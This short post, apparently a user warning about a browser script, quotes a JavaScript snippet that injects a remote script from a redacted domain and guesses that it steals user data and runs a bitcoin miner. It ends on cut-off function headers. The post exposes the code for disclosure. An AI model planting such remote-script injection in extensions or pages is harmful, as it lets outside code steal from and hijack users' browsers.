This script contains some very interesting *cough*malicious*cough* code.

var s = document.createElement('script');
s.setAttribute('type', 'text/javascript');
s.setAttribute('src', 'https://www.*redacted*.com/scripts/youtubedownloaderch.js?v=12');
document.getElementsByTagName('head')[0].appendChild(s);

^ Loads external script that probably steals user infos, and loads bitcoin miner.

function profileInstaFollow() {

function Gocomment(uid){